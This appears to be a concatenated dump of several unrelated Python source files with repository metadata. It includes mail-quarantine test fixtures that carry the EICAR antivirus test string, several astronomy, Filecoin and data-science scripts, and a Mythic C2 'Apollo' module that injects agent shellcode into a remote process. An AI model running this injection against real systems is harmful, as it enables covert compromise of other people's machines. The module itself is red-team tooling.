charset=us-ascii Content-Disposition: inline This is a virus test message. It contains an attached file 'eicar.com', which contains the EICAR virus <http://eicar.org/86-0-Intended-use.html> test pattern. --huq684BweRXVnRxX Content-Type: application/x-msdos-program Content-Disposition: attachment; filename="eicar.com" Content-Transfer-Encoding: quoted-printable X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*=0A --huq684BweRXVnRxX-- """ class MaddrFactory(factory.django.DjangoModelFactory): class Meta: model = models.Maddr django_get_or_create = ("email", ) id = factory.Sequence(lambda n: n) email = factory.Sequence(lambda n: "user_{}@domain.test".format(n)) domain = "test.domain" class MsgsFactory(factory.django.DjangoModelFactory): class Meta: model = models.Msgs mail_id = factory.Sequence(lambda n: "mailid{}".format(n)) secret_id = factory.Sequence(lambda n: smart_bytes("id{}".format(n))) sid = factory.SubFactory(MaddrFactory) client_addr = "127.0.0.1" originating = "Y" dsn_sent = "N" subject = factory.Sequence(lambda n: "Test message {}".format(n)) time_num = factory.LazyAttribute(lambda o: int(time.time())) time_iso = factory.LazyAttribute( lambda o: datetime.datetime.fromtimestamp(o.time_num).isoformat()) size = 100 class MsgrcptFactory(factory.django.DjangoModelFactory): class Meta: model = models.Msgrcpt rseqnum = 1 is_local = "Y" bl = "N" wl = "N" mail = factory.SubFactory(MsgsFactory) rid = factory.SubFactory(MaddrFactory) class QuarantineFactory(factory.django.DjangoModelFactory): class Meta: model = models.Quarantine chunk_ind = 1 mail = factory.SubFactory(MsgsFactory) def create_quarantined_msg(rcpt, sender, rs, body, **kwargs): msgrcpt = MsgrcptFactory( rs=rs, rid__email=rcpt, rid__domain="com.test", mail__sid__email=smart_bytes(sender), mail__sid__domain="", **kwargs ) QuarantineFactory( mail=msgrcpt.mail, mail_text=smart_bytes(SPAM_BODY.format(rcpt=rcpt, sender=sender)) ) return msgrcpt def create_spam(rcpt, sender="spam@evil.corp", rs=" "): body = SPAM_BODY.format(rcpt=rcpt, sender=sender) body += "fóó bár" return create_quarantined_msg( rcpt, sender, rs, body, bspam_level=999.0, content="S") def create_virus(rcpt, sender="virus@evil.corp", rs=" "): return create_quarantined_msg(rcpt, sender, rs, VIRUS_BODY, content="V")

true

f701858d90987f1f596d9d74d126ce475a127ae0

2,414

py

Python

scripts/mkgti.py

ZaynabGhazi/NICERsoft

c1e467b807226f091e82cd0e3ab0ce6b7a476610

[ "MIT" ]

null

scripts/mkgti.py

ZaynabGhazi/NICERsoft

c1e467b807226f091e82cd0e3ab0ce6b7a476610

[ "MIT" ]

null

scripts/mkgti.py

ZaynabGhazi/NICERsoft

c1e467b807226f091e82cd0e3ab0ce6b7a476610

[ "MIT" ]

null

#!/usr/bin/env python from __future__ import print_function, division import os, sys import matplotlib.pyplot as plt import numpy as np import argparse from astropy import log from os import path from glob import glob from subprocess import check_call import shutil from astropy.table import Table from astropy.io import fits from nicer.values import * from nicer.plotutils import plot_light_curve def runcmd(cmd): # CMD should be a list of strings since it is not processed by a shell log.info('CMD: '+" ".join(cmd)) os.system(" ".join(cmd)) ## Some ftools calls don't work properly with check_call...not sure why! ## so I am using os.system instead of check_call #check_call(cmd,env=os.environ) ################################################ # Checking the presence of HEASOFT try: check_call('nicerversion',env=os.environ) except: print("You need to initialize FTOOLS/HEASOFT first (e.g., type 'heainit')!", file=sys.stderr) exit() ################################################ # Checking the presence of gti header and columns in data/ gticolumns = path.join(datadir,'gti_columns.txt') gtiheader = path.join(datadir,'gti_header.txt') if not os.path.isfile(gtiheader) or not os.path.isfile(gticolumns): log.error('The files gti_header.txt or gti_columns.txt are missing. Check the {} directory'.format(os.path.abspath(datadir))) exit() desc = """ Create a simple GTI file from a pair of NICER METs. This is handy as an input file to niextract-events timefile=xxx.gti """ parser = argparse.ArgumentParser(description = desc) parser.add_argument("startmet", help="Starting MET for GTI", type=float) parser.add_argument("stopmet", help="Ending MET for GTI", type=float) parser.add_argument("--gtiname", help="Name of output GTI FITS file (default gti.fits)", default="gti.fits") args = parser.parse_args() ################################################ ## STEP 5 - dumping the TSTART and TEND into text file import tempfile fp = tempfile.NamedTemporaryFile() fp.write('{0} {1}\n'.format(args.startmet,args.stopmet)) fp.flush() ################################################ ## STEP 6 - Making the GTI file from the text file log.info("Making the GTI file gti.fits from the GTI data textfile") cmd = ['ftcreate', '{}'.format(gticolumns), fp.name, args.gtiname, 'headfile={}'.format(gtiheader), 'extname="GTI"', 'clobber=yes'] runcmd(cmd) fp.close()

35.5

131

0.677713

from __future__ import print_function, division import os, sys import matplotlib.pyplot as plt import numpy as np import argparse from astropy import log from os import path from glob import glob from subprocess import check_call import shutil from astropy.table import Table from astropy.io import fits from nicer.values import * from nicer.plotutils import plot_light_curve def runcmd(cmd): log.info('CMD: '+" ".join(cmd)) os.system(" ".join(cmd)) md,env=os.environ) ################################################ # Checking the presence of HEASOFT try: check_call('nicerversion',env=os.environ) except: print("You need to initialize FTOOLS/HEASOFT first (e.g., type 'heainit')!", file=sys.stderr) exit() ################################################ # Checking the presence of gti header and columns in data/ gticolumns = path.join(datadir,'gti_columns.txt') gtiheader = path.join(datadir,'gti_header.txt') if not os.path.isfile(gtiheader) or not os.path.isfile(gticolumns): log.error('The files gti_header.txt or gti_columns.txt are missing. Check the {} directory'.format(os.path.abspath(datadir))) exit() desc = """ Create a simple GTI file from a pair of NICER METs. This is handy as an input file to niextract-events timefile=xxx.gti """ parser = argparse.ArgumentParser(description = desc) parser.add_argument("startmet", help="Starting MET for GTI", type=float) parser.add_argument("stopmet", help="Ending MET for GTI", type=float) parser.add_argument("--gtiname", help="Name of output GTI FITS file (default gti.fits)", default="gti.fits") args = parser.parse_args() ################################################ ## STEP 5 - dumping the TSTART and TEND into text file import tempfile fp = tempfile.NamedTemporaryFile() fp.write('{0} {1}\n'.format(args.startmet,args.stopmet)) fp.flush() ################################################ ## STEP 6 - Making the GTI file from the text file log.info("Making the GTI file gti.fits from the GTI data textfile") cmd = ['ftcreate', '{}'.format(gticolumns), fp.name, args.gtiname, 'headfile={}'.format(gtiheader), 'extname="GTI"', 'clobber=yes'] runcmd(cmd) fp.close()

true

f70185a7b8ced19854c2172d3abd8153b1d14a41

4,268

py

Python

deplatformr/views/filecoin_views.py

deplatformer/prototype

d755624ef2828a9c4b99cad53cc6013e4572e4d2

[ "MIT" ]

null

deplatformr/views/filecoin_views.py

deplatformer/prototype

d755624ef2828a9c4b99cad53cc6013e4572e4d2

[ "MIT" ]

1

2021-02-10T02:26:02.000Z

deplatformr/views/filecoin_views.py

deplatformer/prototype

d755624ef2828a9c4b99cad53cc6013e4572e4d2

[ "MIT" ]

1

2021-06-28T14:42:56.000Z

import os from datetime import datetime from flask import Flask, render_template, flash, safe_join, send_file from flask_user import login_required, current_user from werkzeug.utils import secure_filename from pygate_grpc.client import PowerGateClient from deplatformr.models.filecoin_models import Ffs, Files, Logs from deplatformr import app, db @app.route('/filecoin-files') @login_required def filecoin_files(): files = Files.query.filter_by(user_id=current_user.id).all() return render_template("filecoin/filecoin-files.html", files=files, breadcrumb="Filecoin / Files") @app.route("/filecoin-download/<cid>", methods=["GET"]) @login_required def filecoin_download(cid): """ Retrieve a file from Filecoin via IPFS using Powergate and offer the user the option to save it to their machine. """ # Retrieve File and FFS info using the CID file = Files.query.filter_by(CID=cid, user_id=current_user.id).first() ffs = Ffs.query.get(file.ffs_id) try: # Retrieve data from Filecoin powergate = PowerGateClient(app.config["POWERGATE_ADDRESS"]) data_ = powergate.ffs.get(file.CID, ffs.token) # Save the downloaded data as a file # Use the user data directory configured for the app user_data = app.config["USER_DATA_DIR"] if not os.path.exists(user_data): os.makedirs(user_data) print(user_data) # Create a subdirectory per username. Usernames are unique. user_dir = os.path.join( user_data, str(current_user.id) + "-" + current_user.username) if not os.path.exists(user_dir): os.makedirs(user_dir) print(user_dir) # Create a Filecoin downloads subdirectory. filecoin_dir = os.path.join(user_dir, "filecoin/downloads") if not os.path.exists(filecoin_dir): os.makedirs(filecoin_dir) print(filecoin_dir) with open(os.path.join(filecoin_dir, file.file_name), "wb") as out_file: # Iterate over the data byte chunks and save them to an output file for data in data_: out_file.write(data) # Create path to download file safe_path = safe_join("../" + filecoin_dir, file.file_name) print(safe_path) # Offer the file for download to local machine return send_file(safe_path, as_attachment=True) # TODO: CLEAR CACHED FILES IN DOWNLOAD DIRECTORY except Exception as e: # Output error message if download from Filecoin fails flash("failed to download '{}' from Filecoin. {}".format( file.file_name, e), "alert-danger") # Update log table with error event = Logs( timestamp=datetime.now().replace(microsecond=0), event="Download ERROR: " + file.file_name + " CID: " + file.CID + " " + str(e), user_id=current_user.id, ) db.session.add(event) db.session.commit() files = Files.query.filter_by(user_id=current_user.id).all() return render_template("filecoin/filecoin-files.html", files=files, breadcrumb="Filecoin / Files") @ app.route('/filecoin-wallets') @ login_required def filecoin_wallets(): """ Retrieve all wallets from all FFSes and save them in a list for presentation on the UI template """ powergate = PowerGateClient(app.config["POWERGATE_ADDRESS"]) try: ffs = Ffs.query.filter_by(user_id=current_user.id).one() except: flash("No wallets created yet.", "alert-danger") return render_template("filecoin/filecoin-wallets.html", wallets=None, breadcrumb="Filecoin / Wallets") wallets = [] addresses = powergate.ffs.addrs_list(ffs.token) for address in addresses.addrs: balance = powergate.wallet.balance(address.addr) wallets.append( { "ffs": ffs.ffs_id, "name": address.name, "address": address.addr, "type": address.type, "balance": str(balance.balance), } ) return render_template("filecoin/filecoin-wallets.html", wallets=wallets, breadcrumb="Filecoin / Wallets")

33.873016

111

0.646204

import os from datetime import datetime from flask import Flask, render_template, flash, safe_join, send_file from flask_user import login_required, current_user from werkzeug.utils import secure_filename from pygate_grpc.client import PowerGateClient from deplatformr.models.filecoin_models import Ffs, Files, Logs from deplatformr import app, db @app.route('/filecoin-files') @login_required def filecoin_files(): files = Files.query.filter_by(user_id=current_user.id).all() return render_template("filecoin/filecoin-files.html", files=files, breadcrumb="Filecoin / Files") @app.route("/filecoin-download/<cid>", methods=["GET"]) @login_required def filecoin_download(cid): file = Files.query.filter_by(CID=cid, user_id=current_user.id).first() ffs = Ffs.query.get(file.ffs_id) try: powergate = PowerGateClient(app.config["POWERGATE_ADDRESS"]) data_ = powergate.ffs.get(file.CID, ffs.token) user_data = app.config["USER_DATA_DIR"] if not os.path.exists(user_data): os.makedirs(user_data) print(user_data) user_dir = os.path.join( user_data, str(current_user.id) + "-" + current_user.username) if not os.path.exists(user_dir): os.makedirs(user_dir) print(user_dir) filecoin_dir = os.path.join(user_dir, "filecoin/downloads") if not os.path.exists(filecoin_dir): os.makedirs(filecoin_dir) print(filecoin_dir) with open(os.path.join(filecoin_dir, file.file_name), "wb") as out_file: for data in data_: out_file.write(data) safe_path = safe_join("../" + filecoin_dir, file.file_name) print(safe_path) return send_file(safe_path, as_attachment=True) except Exception as e: flash("failed to download '{}' from Filecoin. {}".format( file.file_name, e), "alert-danger") event = Logs( timestamp=datetime.now().replace(microsecond=0), event="Download ERROR: " + file.file_name + " CID: " + file.CID + " " + str(e), user_id=current_user.id, ) db.session.add(event) db.session.commit() files = Files.query.filter_by(user_id=current_user.id).all() return render_template("filecoin/filecoin-files.html", files=files, breadcrumb="Filecoin / Files") @ app.route('/filecoin-wallets') @ login_required def filecoin_wallets(): powergate = PowerGateClient(app.config["POWERGATE_ADDRESS"]) try: ffs = Ffs.query.filter_by(user_id=current_user.id).one() except: flash("No wallets created yet.", "alert-danger") return render_template("filecoin/filecoin-wallets.html", wallets=None, breadcrumb="Filecoin / Wallets") wallets = [] addresses = powergate.ffs.addrs_list(ffs.token) for address in addresses.addrs: balance = powergate.wallet.balance(address.addr) wallets.append( { "ffs": ffs.ffs_id, "name": address.name, "address": address.addr, "type": address.type, "balance": str(balance.balance), } ) return render_template("filecoin/filecoin-wallets.html", wallets=wallets, breadcrumb="Filecoin / Wallets")

true

f70185ea6fa1e1036a31fb85275e059609151a59

787

py

Python

setup.py

charles-marceau/msnexport

9a130f83652824c27fde48cc28d7d0dc8da831d7

[ "MIT" ]

null

setup.py

charles-marceau/msnexport

9a130f83652824c27fde48cc28d7d0dc8da831d7

[ "MIT" ]

null

setup.py

charles-marceau/msnexport

9a130f83652824c27fde48cc28d7d0dc8da831d7

[ "MIT" ]

null

from setuptools import find_packages, setup with open("README.md", "r") as fh: long_description = fh.read() setup( name='msnexport', version='0.1', license="MIT", classifiers=["Programming Language :: Python :: 3.7"], author='Charles Marceau', author_email='charlesmarceau3@gmail.com', description='Export your old xml MSN history to pdf.', long_description=long_description, long_description_content_type="text/markdown", url='https://github.com/charles-marceau/msnexport', packages=find_packages(), include_package_data=True, install_requires=[ 'beautifulsoup4', 'click', 'lxml', 'reportlab' ], entry_points=''' [console_scripts] msnexport=msnexport.cli:export ''' )

26.233333

58

0.651842

from setuptools import find_packages, setup with open("README.md", "r") as fh: long_description = fh.read() setup( name='msnexport', version='0.1', license="MIT", classifiers=["Programming Language :: Python :: 3.7"], author='Charles Marceau', author_email='charlesmarceau3@gmail.com', description='Export your old xml MSN history to pdf.', long_description=long_description, long_description_content_type="text/markdown", url='https://github.com/charles-marceau/msnexport', packages=find_packages(), include_package_data=True, install_requires=[ 'beautifulsoup4', 'click', 'lxml', 'reportlab' ], entry_points=''' [console_scripts] msnexport=msnexport.cli:export ''' )

true

f7018712ee7626943f710f00b08771e4841e72e4

3,983

py

Python

Payload_Type/apollo/mythic/agent_functions/inject.py

n0pe-sled/Apollo

cfc5804d163e1b47f6614321434a717b2bd2066f

[ "BSD-3-Clause" ]

null

Payload_Type/apollo/mythic/agent_functions/inject.py

n0pe-sled/Apollo

cfc5804d163e1b47f6614321434a717b2bd2066f

[ "BSD-3-Clause" ]

null

Payload_Type/apollo/mythic/agent_functions/inject.py

n0pe-sled/Apollo

cfc5804d163e1b47f6614321434a717b2bd2066f

[ "BSD-3-Clause" ]

null

from mythic_payloadtype_container.MythicCommandBase import * import json from mythic_payloadtype_container.MythicRPC import * import base64 class InjectArguments(TaskArguments): def __init__(self, command_line): super().__init__(command_line) self.args = { "template": CommandParameter(name="Payload Template", type=ParameterType.Payload, supported_agents=["apollo"], supported_agent_build_parameters={"apollo": {"output_type": "Shellcode"}}), "pid": CommandParameter(name="PID", type=ParameterType.Number), } errorMsg = "Missing required parameter: {}" async def parse_arguments(self): if (self.command_line[0] != "{"): raise Exception("Inject requires JSON parameters and not raw command line.") self.load_args_from_json_string(self.command_line) class InjectCommand(CommandBase): cmd = "inject" needs_admin = False help_cmd = "inject (modal popup)" description = "Inject agent shellcode into a remote process." version = 2 is_exit = False is_file_browse = False is_process_list = False is_download_file = False is_upload_file = False is_remove_file = False script_only = True author = "@djhohnstein" argument_class = InjectArguments attackmapping = ["T1055"] async def shinject_completed(self, task: MythicTask, subtask: dict = None, subtask_group_name: str = None) -> MythicTask: task.status = MythicStatus.Completed return task async def create_tasking(self, task: MythicTask) -> MythicTask: temp = await MythicRPC().execute("get_payload", payload_uuid=task.args.get_arg("template")) gen_resp = await MythicRPC().execute("create_payload_from_uuid", task_id=task.id, payload_uuid=task.args.get_arg('template'), new_description="{}'s injection into PID {}".format(task.operator, str(task.args.get_arg("pid")))) if gen_resp.status == MythicStatus.Success: # we know a payload is building, now we want it while True: resp = await MythicRPC().execute("get_payload", payload_uuid=gen_resp.response["uuid"], get_contents=True) if resp.status == MythicStatus.Success: if resp.response["build_phase"] == 'success': b64contents = resp.response["contents"] pe = base64.b64decode(b64contents) if len(pe) > 1 and pe[:2] == b"\x4d\x5a": raise Exception("Inject requires a payload of Raw output, but got an executable.") # it's done, so we can register a file for it task.display_params = "payload '{}' into PID {}".format(temp.response["tag"], task.args.get_arg("pid")) response = await MythicRPC().execute("create_subtask", parent_task_id=task.id, command="shinject", params_dict={"PID": task.args.get_arg("pid"), "Shellcode File ID": resp.response["file"]["agent_file_id"]}, subtask_callback_function="shinject_completed") task.status = MythicStatus.Processed break elif resp.response["build_phase"] == 'error': raise Exception("Failed to build new payload: " + resp.response["error_message"]) else: await asyncio.sleep(1) else: raise Exception("Failed to build payload from template {}".format(task.args.get_arg("template"))) return task async def process_response(self, response: AgentResponse): pass

49.17284

198

0.581471

from mythic_payloadtype_container.MythicCommandBase import * import json from mythic_payloadtype_container.MythicRPC import * import base64 class InjectArguments(TaskArguments): def __init__(self, command_line): super().__init__(command_line) self.args = { "template": CommandParameter(name="Payload Template", type=ParameterType.Payload, supported_agents=["apollo"], supported_agent_build_parameters={"apollo": {"output_type": "Shellcode"}}), "pid": CommandParameter(name="PID", type=ParameterType.Number), } errorMsg = "Missing required parameter: {}" async def parse_arguments(self): if (self.command_line[0] != "{"): raise Exception("Inject requires JSON parameters and not raw command line.") self.load_args_from_json_string(self.command_line) class InjectCommand(CommandBase): cmd = "inject" needs_admin = False help_cmd = "inject (modal popup)" description = "Inject agent shellcode into a remote process." version = 2 is_exit = False is_file_browse = False is_process_list = False is_download_file = False is_upload_file = False is_remove_file = False script_only = True author = "@djhohnstein" argument_class = InjectArguments attackmapping = ["T1055"] async def shinject_completed(self, task: MythicTask, subtask: dict = None, subtask_group_name: str = None) -> MythicTask: task.status = MythicStatus.Completed return task async def create_tasking(self, task: MythicTask) -> MythicTask: temp = await MythicRPC().execute("get_payload", payload_uuid=task.args.get_arg("template")) gen_resp = await MythicRPC().execute("create_payload_from_uuid", task_id=task.id, payload_uuid=task.args.get_arg('template'), new_description="{}'s injection into PID {}".format(task.operator, str(task.args.get_arg("pid")))) if gen_resp.status == MythicStatus.Success: # we know a payload is building, now we want it while True: resp = await MythicRPC().execute("get_payload", payload_uuid=gen_resp.response["uuid"], get_contents=True) if resp.status == MythicStatus.Success: if resp.response["build_phase"] == 'success': b64contents = resp.response["contents"] pe = base64.b64decode(b64contents) if len(pe) > 1 and pe[:2] == b"\x4d\x5a": raise Exception("Inject requires a payload of Raw output, but got an executable.") # it's done, so we can register a file for it task.display_params = "payload '{}' into PID {}".format(temp.response["tag"], task.args.get_arg("pid")) response = await MythicRPC().execute("create_subtask", parent_task_id=task.id, command="shinject", params_dict={"PID": task.args.get_arg("pid"), "Shellcode File ID": resp.response["file"]["agent_file_id"]}, subtask_callback_function="shinject_completed") task.status = MythicStatus.Processed break elif resp.response["build_phase"] == 'error': raise Exception("Failed to build new payload: " + resp.response["error_message"]) else: await asyncio.sleep(1) else: raise Exception("Failed to build payload from template {}".format(task.args.get_arg("template"))) return task async def process_response(self, response: AgentResponse): pass

true

f7018880849f101375cb5c61af38b6fbdabcf866

1,045

py

Python

src/data/gbm.py

imanolperez/optimal-double-execution

b380087765925043b01fe2f1066e5e2d1d850cf9

[ "MIT" ]

4

2020-05-20T13:56:36.000Z

2021-01-05T12:41:47.000Z

src/data/gbm.py

imanolperez/optimal-double-execution

b380087765925043b01fe2f1066e5e2d1d850cf9

[ "MIT" ]

null

src/data/gbm.py

imanolperez/optimal-double-execution

b380087765925043b01fe2f1066e5e2d1d850cf9

[ "MIT" ]

3

2020-07-02T17:52:05.000Z

2022-03-15T14:07:08.000Z

import numpy as np from .base import Price class GBM(Price): """Brownian motion.""" def __init__(self, T=1., sigma1=0.02, sigma2=0.01, s1=1., s2=1., drift1=0., drift2=0., n=100): self.sigma1 = sigma1 self.sigma2 = sigma2 self.drift1 = drift1 self.drift2 = drift2 self.n = n self.s1 = s1 self.s2 = s2 self.T = T def generate(self): dt1 = self.sigma1 ** 2 * self.T / self.n dt2 = self.sigma2 ** 2 * self.T / self.n bm1 = np.r_[[0.], np.sqrt(dt1) * np.random.randn(self.n - 1).cumsum()] bm2 = np.r_[[0.], np.sqrt(dt2) * np.random.randn(self.n - 1).cumsum()] path = np.c_[np.linspace(0, self.T, self.n), bm1, bm2] path[:, 1] = np.exp((self.drift1 - self.sigma1 ** 2 / 2.) * path[:, 0] + self.sigma1 * path[:, 1]) path[:, 2] = np.exp((self.drift2 - self.sigma2 ** 2 / 2.) * path[:, 0] + self.sigma2 * path[:, 2]) path[:, 1] *= self.s1 path[:, 2] *= self.s2 return path

30.735294

106

0.507177

import numpy as np from .base import Price class GBM(Price): def __init__(self, T=1., sigma1=0.02, sigma2=0.01, s1=1., s2=1., drift1=0., drift2=0., n=100): self.sigma1 = sigma1 self.sigma2 = sigma2 self.drift1 = drift1 self.drift2 = drift2 self.n = n self.s1 = s1 self.s2 = s2 self.T = T def generate(self): dt1 = self.sigma1 ** 2 * self.T / self.n dt2 = self.sigma2 ** 2 * self.T / self.n bm1 = np.r_[[0.], np.sqrt(dt1) * np.random.randn(self.n - 1).cumsum()] bm2 = np.r_[[0.], np.sqrt(dt2) * np.random.randn(self.n - 1).cumsum()] path = np.c_[np.linspace(0, self.T, self.n), bm1, bm2] path[:, 1] = np.exp((self.drift1 - self.sigma1 ** 2 / 2.) * path[:, 0] + self.sigma1 * path[:, 1]) path[:, 2] = np.exp((self.drift2 - self.sigma2 ** 2 / 2.) * path[:, 0] + self.sigma2 * path[:, 2]) path[:, 1] *= self.s1 path[:, 2] *= self.s2 return path

true

f7018a9b751e10e71b44550771f8a399e9aa4f9a

22,519

py

Python

experiments/validation_wrapper.py

aquemy/HCBR

bc61cf0ca0629119c8d29b146890873f92a46835

[ "MIT" ]

5

2018-03-20T09:59:13.000Z

2020-09-17T05:45:05.000Z

experiments/validation_wrapper.py

aquemy/HCBR

bc61cf0ca0629119c8d29b146890873f92a46835

[ "MIT" ]

null

experiments/validation_wrapper.py

aquemy/HCBR

bc61cf0ca0629119c8d29b146890873f92a46835

[ "MIT" ]

3

2020-05-03T23:33:24.000Z

2020-11-10T18:54:14.000Z

import json import os, errno import sys import time import shutil import subprocess from subprocess import Popen, PIPE EXECUTABLE = 'hcbr_learning' BUILD_FOLDER = '../build' DATA_FOLDER = '../data' KFOLD_SCRIPT = 'kfold_validation.py' ACCURACY_ROW = 4 #METAOPTIMIZATION = '../tuning/hyperopt_wrapper.py' #METAOPTIMIZATION_TIMEOUT = 60 METAOPTIMIZATION = '../script/genetic_algorithm.py' def convert_paramILS_to_HCBR_params(paramILS): convert_map = { 'e': 'eta', 'd': 'delta', 'g': 'gamma', 'i': 'online', 'p': 'learning_phases', 'z': 'heuristic' } def if_exists(k, v): if k in convert_map: return convert_map[k], v else: return None, None params = {} for k, v in paramILS.iteritems(): key, val = if_exists(k, v) if key is not None: params[key] = val return params def read_outcomes(path): cases = [] headers = [] with open(path, 'rb') as csvfile: reader = csvfile.readlines() n = len(reader[0].split()) for i, row in enumerate(reader): cases.append(int(row)) return cases def main(): executable_path = os.path.join(BUILD_FOLDER, EXECUTABLE) k = int(sys.argv[1]) l = float(sys.argv[2]) instance_name = sys.argv[3] seed = None if len(sys.argv) > 4: seed = sys.argv[4] only_analysis = False if len(sys.argv) > 5: only_analysis = True if sys.argv[5] == 'True' else False if len(sys.argv) > 6: nested_CV = True if sys.argv[6] == 'True' else False suffix = "" if len(sys.argv) > 7: suffix = "_" + sys.argv[7] path = instance_name file_name = path.split('/')[-1].split('.')[0] base_name = file_name.split('.')[0] # Check build, executable and paths base_output_path = "{}{}".format(instance_name, suffix) if not only_analysis: try: shutil.rmtree(base_output_path) except: pass try: os.makedirs(base_output_path) except OSError as e: if e.errno != errno.EEXIST: raise # Create the casebase print('# Create casebase and outcome files...') process_script = os.path.join(DATA_FOLDER, "process_{}.py".format(instance_name)) data_location = os.path.join(DATA_FOLDER, "{}.txt".format(instance_name)) cmd = "python {} {}".format(process_script, data_location) rc = subprocess.call(cmd, shell=True) print('CMD: {}'.format(cmd)) print('RC: {}'.format(rc)) if rc: exit(1) path_casebase = os.path.join("{}_casebase.txt".format(instance_name)) path_outcomes = os.path.join("{}_outcomes.txt".format(instance_name)) try: outcomes = read_outcomes(path_outcomes) except Exception as e: print(e) exit(1) n = len(outcomes) # Create the k-folds print('# Create k-folds files for validation...') fold_creation_output = os.path.join(base_output_path, 'kfold_creation.log') cmd_fold_validation = "python {} {} {} {} {} {} > {}".format( KFOLD_SCRIPT, k, path_casebase, path_outcomes, os.path.join(base_output_path, "input_data"), seed if seed is not None else "", fold_creation_output ) print('CMD: {}'.format(cmd_fold_validation)) rc = subprocess.call(cmd_fold_validation, shell=True) print('RC: {}'.format(rc)) if rc: exit(1) # Read configuration print('# Read configuration for this instance...') examples = int(round(n * l)) parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.params.json".format(instance_name)) default_params = { # TODO } parameters = None try: with open(parameters_path) as json_data: parameters = json.load(json_data) except Exception as e: print('[ERROR] Could not retrieve parameters. Use default parameters.') print(e) if parameters is None: parameters = default_params else: for key, v in default_params.iteritems(): if key not in parameters: print('# - Add {}={} as parameter because value not found'.format(key, v)) parameters[key] = v print('# Configuration: {}'.format(parameters)) # Start validation runs print('# Start validation runs...') average_accuracy = 0 for i in range(0, k): print('\n#########################') print('# - Run {}'.format(i)) print('#########################') run_nb = 'run_{}'.format(i) fold_casebase = os.path.join("../experiments", base_output_path, "input_data", "{}_casebase.fold_{}.txt".format(instance_name, i)) fold_outcomes = os.path.join("../experiments", base_output_path, "input_data", "{}_outcomes.fold_{}.txt".format(instance_name, i)) fold_output_path = os.path.join("../experiments", base_output_path, run_nb) parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.params.json".format(instance_name)) default_params = { # TODO } parameters = None try: with open(parameters_path) as json_data: parameters = json.load(json_data) except Exception as e: print('[ERROR] Could not retrieve parameters. Use default parameters.') print(e) parameters["input"]["casebase"] = fold_casebase parameters["input"]["outcomes"] = fold_outcomes parameters["parameters"]["limit"] = examples parameters["parameters"]["run_id"] = i if not only_analysis: try: shutil.rmtree(fold_output_path) except: pass try: os.makedirs(fold_output_path) except OSError as e: if e.errno != errno.EEXIST: print('[ERROR] Could not create output path for {}'.format(run_nb)) continue if(nested_CV): print('# Start Meta-optimization for Model Selection') print('# Preliminary run') fold_param_file = os.path.join(fold_output_path, 'params_{}.init.json'.format(run_nb)) with open(fold_param_file, 'w') as f: f.write(json.dumps(parameters, indent=4)) print('# Initial configuration: {}'.format(parameters)) cmd = "{} --params {} > {} 2> {}".format(executable_path, fold_param_file, os.path.join(fold_output_path, 'output_{}.init.txt'.format(run_nb)), os.path.join(fold_output_path, 'log_{}.init.txt'.format(run_nb)) ) ''' cmd = "{} -c {} -o {} -l {} -s -p {} -e {} -d {} -g {} {} {} -b {} > {} 2> {}".format( executable_path, fold_casebase, fold_outcomes, examples, parameters['learning_phases'], parameters['eta'], parameters['delta'], parameters['gamma'], '-i' if int(parameters['online']) == 1 else "", '-z' if int(parameters['heuristic']) == 1 else "", i, os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)), os.path.join(fold_output_path, 'log_{}.txt'.format(run_nb)) ) ''' print('# CMD: {}'.format(cmd)) rc = subprocess.call(cmd, shell=True) p = Popen(['tail', '-n', '1', os.path.join(fold_output_path, 'output_{}.init.txt'.format(run_nb))], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() prun_accuracy = float(output.split()[ACCURACY_ROW]) print('# Preliminary run accuracy: {}'.format(prun_accuracy)) cmd = "python {} \ --weights ../experiments/W.txt \ --mu0 ../experiments/Mu_0_post_training.txt \ --mu1 ../experiments/Mu_1_post_training.txt \ --outcomes {}".format(METAOPTIMIZATION, fold_outcomes) print('# CMD: {}'.format(cmd)) p = Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.optimized.params.json".format(instance_name)) parameters = json.load(open(parameters_path)) parameters["deserialization"]["mu0_file"] = "../experiments/Mu_0_optimized.txt" parameters["deserialization"]["mu1_file"] = "../experiments/Mu_1_optimized.txt" parameters["input"]["casebase"] = fold_casebase parameters["input"]["outcomes"] = fold_outcomes parameters["parameters"]["limit"] = examples parameters["parameters"]["run_id"] = i fold_param_file = os.path.join(fold_output_path, 'params_{}.json'.format(run_nb)) with open(fold_param_file, 'w') as f: f.write(json.dumps(parameters, indent=4)) print('# Final configuration: {}'.format(parameters)) cmd = "{} --params {} > {} 2> {}".format(executable_path, fold_param_file, os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)), os.path.join(fold_output_path, 'log_{}.txt'.format(run_nb)) ) print('# CMD: {}'.format(cmd)) rc = subprocess.call(cmd, shell=True) try: shutil.move("training.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "training.run_{}.log.csv".format(i))) shutil.move("prediction.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "prediction.run_{}.log.csv".format(i))) shutil.move("overlap.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "overlap.run_{}.log.csv".format(i))) shutil.move("strength.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "strength.run_{}.log.csv".format(i))) except Exception as e: pass p = Popen(['tail', '-n', '1', os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() run_accuracy = float(output.split()[ACCURACY_ROW]) average_accuracy += run_accuracy print("# Accuracy: {}".format(run_accuracy)) print('# Analyze the results...') try: # Confusion matrix cmd_confusion_matrix = "python ../utils/confusion_matrix.py {}".format(os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))) cmd_cm_gp = "gnuplot {}".format('output_{}_confusion_matrix.gp'.format(run_nb)) rc = subprocess.call(cmd_confusion_matrix, shell=True) rc = subprocess.call(cmd_cm_gp, shell=True) shutil.move('output_{}_confusion_matrix.gp'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix.gp'.format(run_nb))) shutil.move('output_{}_confusion_matrix.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix.txt'.format(run_nb))) 